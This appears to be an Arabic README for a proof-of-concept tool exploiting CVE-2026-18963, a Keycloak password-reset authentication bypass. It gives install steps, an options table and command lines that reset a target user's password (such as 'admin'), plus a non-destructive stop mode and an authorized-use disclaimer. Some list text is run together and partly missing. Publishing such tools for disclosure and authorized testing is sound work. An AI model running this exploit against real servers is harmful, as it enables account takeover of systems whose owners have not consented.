
استغلال لإثبات المفهوم لثغرة CVE-2026-18963، وهي تجاوز للمصادقة في تدفق «نسيت كلمة المرور» في Keycloak، مما يسمح بإعادة تعيين كلمة المرور دون تحقق مناسب. يتضمن وضع إثبات غير مدمر.
إثبات مفهوم لـ CVE-2026-18963، وهو خلل في تدفق «نسيت كلمة المرور» / اختيار بيانات الاعتماد في Keycloak يسمح للمهاجم بالوصول إلى خطوة UPDATE_PASSWORD — وإعادة تعيين كلمة مرور الحساب المستهدف — دون إكمال التحقق من الهوية المطلوب بشكل صحيح (على سبيل المثال دون رمز OTP/عامل ثانٍ صالح).
يقوم السكربت بتشغيل التدفق عبر HTTP فقط (بدون الحاجة إلى متصفح/Selenium) من خلال:
tryAnotherWay.startSessionPolling() الذي تستخدمه واجهة Keycloak لإبقاء جلسة المصادقة نشطة.UPDATE_PASSWORD.تُقدَّم هذه الأداة لأغراض اختبار الأمان والبحث المصرَّح بها فقط (اختبارات الاختراق التي تقوم بها بتكليف، ومسابقات CTF، وبيئات المختبر الخاصة بك، أو الإفصاح المنسق عن الثغرات الأمنية). تشغيلها ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها يعد غير قانوني. لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.
استخدم --stop-at-update-password لإنتاج إثبات غير مدمر (الوصول إلى UPDATE_PASSWORD دون إرسال كلمة مرور جديدة) متى كان ذلك كافيًا لإظهار المشكلة.
requestsbeautifulsoup4git clone <this-repo-url>
cd POC
python -m venv .venv
source .venv/bin/activate # on Windows: .venv\Scripts\activate
pip install -r requirements.txt
python poc_cve_2026_18963_terminal.py \
--base-url http://localhost:8080 \
--realm master \
--client-id account \
--username admin \
--new-password "NewPassword123!"
| الخيار | الافتراضي | الوصف |
|---|---|---|
--base-url | http://localhost:8080 | عنوان URL الأساسي لمثيل Keycloak المستهدف |
--realm | master | الـ realm المستهدف |
--client-id | account | معرّف عميل OIDC المستخدم لبدء تدفق تسجيل الدخول |
--username | admin | اسم المستخدم المستهدف |
--new-password | (مطلوب) | كلمة المرور التي سيتم تعيينها للحساب المستهدف |
--stop-at-update-password | off | التوقف بمجرد الوصول إلى UPDATE_PASSWORD دون إرسال كلمة مرور جديدة (إثبات غير استغلالي) |
--timeout | 10.0 | مهلة طلب HTTP بالثواني |
--output-dir | debug_http | الدليل الذي يُحفظ فيه كل استجابة HTML وسيطة للتصحيح |
--insecure | off | تعطيل التحقق من شهادة TLS |
python poc_cve_2026_18963_terminal.py \
--base-url https://target.example.com \
--realm myrealm \
--username victim \
--new-password unused \
--stop-at-update-password
يتم حفظ كل استجابة HTTP وسيطة في --output-dir (debug_http افتراضيًا) كملفات 01_login.html، 02_reset.html، ... للمراجعة دون اتصال. يخرج السكربت بالرمز 0 عند النجاح و1 عند الفشل، مع طباعة رسائل التقدم والتشخيص إلى stdout.
Aurélien LOIE